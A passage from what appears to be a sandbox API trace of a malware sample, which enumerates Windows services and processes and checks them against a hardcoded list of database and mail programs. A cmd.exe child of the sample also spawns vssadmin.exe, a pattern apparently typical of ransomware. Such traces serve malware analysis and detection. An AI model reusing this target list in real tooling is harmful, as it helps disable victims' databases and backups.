lpString2="Spooler") returned -1 [0193.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0193.425] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0193.425] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0193.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0193.425] lstrlenW (lpString="swprv") returned 5 [0193.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0193.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0193.425] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0193.425] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0193.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0193.425] lstrlenW (lpString="SysMain") returned 7 [0193.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0193.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0193.425] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0193.425] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0193.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0193.425] lstrlenW (lpString="Themes") returned 6 [0193.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0193.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0193.425] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0193.425] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0193.425] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0193.425] lstrlenW (lpString="TrkWks") returned 6 [0193.425] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0193.425] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0193.425] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0193.426] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0193.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0193.426] lstrlenW (lpString="UxSms") returned 5 [0193.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0193.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0193.426] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0193.426] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0193.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0193.426] lstrlenW (lpString="VSS") returned 3 [0193.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0193.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0193.426] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0193.426] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0193.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0193.426] lstrlenW (lpString="WdiServiceHost") returned 14 [0193.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0193.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0193.426] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0193.426] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0193.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0193.426] lstrlenW (lpString="WdiSystemHost") returned 13 [0193.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0193.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0193.426] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0193.426] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0193.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0193.426] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0193.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0193.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0193.427] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0193.427] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0193.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0193.427] lstrlenW (lpString="Winmgmt") returned 7 [0193.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0193.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0193.427] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0193.427] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0193.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0193.427] lstrlenW (lpString="WPDBusEnum") returned 10 [0193.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0193.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0193.427] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0193.427] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0193.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0193.427] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0193.427] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0193.429] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0193.429] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0193.430] lstrlenW (lpString="System") returned 6 [0193.430] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0193.430] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0193.430] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0193.430] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0193.430] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0193.430] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0193.430] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0193.430] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0193.430] lstrlenW (lpString="smss.exe") returned 8 [0193.430] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0193.430] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0193.430] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0193.430] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0193.430] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0193.430] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0193.430] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0193.430] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0193.431] lstrlenW (lpString="csrss.exe") returned 9 [0193.431] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0193.431] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0193.431] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0193.431] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0193.431] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0193.431] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0193.431] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0193.431] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0193.431] lstrlenW (lpString="wininit.exe") returned 11 [0193.431] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0193.431] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0193.431] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0193.432] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0193.432] lstrlenW (lpString="csrss.exe") returned 9 [0193.432] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0193.433] lstrlenW (lpString="winlogon.exe") returned 12 [0193.433] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0193.433] lstrlenW (lpString="services.exe") returned 12 [0193.433] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0193.433] lstrlenW (lpString="lsass.exe") returned 9 [0193.433] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0193.434] lstrlenW (lpString="lsm.exe") returned 7 [0193.434] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.434] lstrlenW (lpString="svchost.exe") returned 11 [0193.434] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.434] lstrlenW (lpString="svchost.exe") returned 11 [0193.435] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.435] lstrlenW (lpString="svchost.exe") returned 11 [0193.435] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.435] lstrlenW (lpString="svchost.exe") returned 11 [0193.435] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.436] lstrlenW (lpString="svchost.exe") returned 11 [0193.436] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0193.436] lstrlenW (lpString="audiodg.exe") returned 11 [0193.436] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.437] lstrlenW (lpString="svchost.exe") returned 11 [0193.437] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0193.437] lstrlenW (lpString="explorer.exe") returned 12 [0193.437] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0193.437] lstrlenW (lpString="dwm.exe") returned 7 [0193.437] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.438] lstrlenW (lpString="svchost.exe") returned 11 [0193.438] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0193.438] lstrlenW (lpString="n.exe") returned 5 [0193.438] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0193.439] lstrlenW (lpString="spoolsv.exe") returned 11 [0193.439] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.439] lstrlenW (lpString="svchost.exe") returned 11 [0193.439] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0193.439] lstrlenW (lpString="taskhost.exe") returned 12 [0193.440] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0193.440] lstrlenW (lpString="reader_sl.exe") returned 13 [0193.440] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x7dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0193.440] lstrlenW (lpString="n.exe") returned 5 [0193.440] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0193.441] lstrlenW (lpString="cmd.exe") returned 7 [0193.441] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0193.441] lstrlenW (lpString="conhost.exe") returned 11 [0193.441] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0193.441] lstrlenW (lpString="vssadmin.exe") returned 12 [0193.441] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0193.442] lstrlenW (lpString="VSSVC.exe") returned 9 [0193.442] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0193.442] lstrlenW (lpString="svchost.exe") returned 11 [0193.442] Process32NextW (in: hSnapshot=0x1e0, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0193.443] CloseHandle (hObject=0x1e0) returned 1 [0193.443] Sleep (dwMilliseconds=0x1f4) [0194.264] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x633dc8 [0194.265] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 0 [0194.282] GetLastError () returned 0xea [0194.282] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12c6) returned 0x6b5c80 [0194.282] EnumServicesStatusExW (in: hSCManager=0x633dc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6b5c80, cbBufSize=0x12c6, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6b5c80, pcbBytesNeeded=0x23cff44, lpServicesReturned=0x23cff5c, lpResumeHandle=0x0) returned 1 [0194.283] CloseServiceHandle (hSCObject=0x633dc8) returned 1 [0194.283] lstrlenW (lpString="Appinfo") returned 7 [0194.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0194.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0194.283] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0194.283] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0194.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0194.283] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0194.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0194.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0194.283] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0194.283] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0194.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0194.283] lstrlenW (lpString="AudioSrv") returned 8 [0194.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0194.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0194.283] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0194.283] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0194.283] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0194.283] lstrlenW (lpString="BFE") returned 3 [0194.283] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0194.283] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0194.284] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0194.284] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0194.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0194.284] lstrlenW (lpString="CryptSvc") returned 8 [0194.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0194.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0194.284] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0194.284] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0194.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0194.284] lstrlenW (lpString="CscService") returned 10 [0194.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0194.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0194.284] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0194.284] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0194.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0194.284] lstrlenW (lpString="DcomLaunch") returned 10 [0194.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0194.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0194.284] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0194.284] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0194.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0194.284] lstrlenW (lpString="Dhcp") returned 4 [0194.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0194.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0194.284] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0194.284] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0194.284] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0194.284] lstrlenW (lpString="Dnscache") returned 8 [0194.284] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0194.284] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0194.284] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0194.285] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0194.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0194.285] lstrlenW (lpString="DPS") returned 3 [0194.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0194.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0194.285] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0194.285] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0194.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0194.285] lstrlenW (lpString="eventlog") returned 8 [0194.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0194.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0194.285] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0194.285] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0194.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0194.285] lstrlenW (lpString="EventSystem") returned 11 [0194.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0194.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0194.285] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0194.285] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0194.285] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0194.285] lstrlenW (lpString="gpsvc") returned 5 [0194.285] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0194.285] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0194.285] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 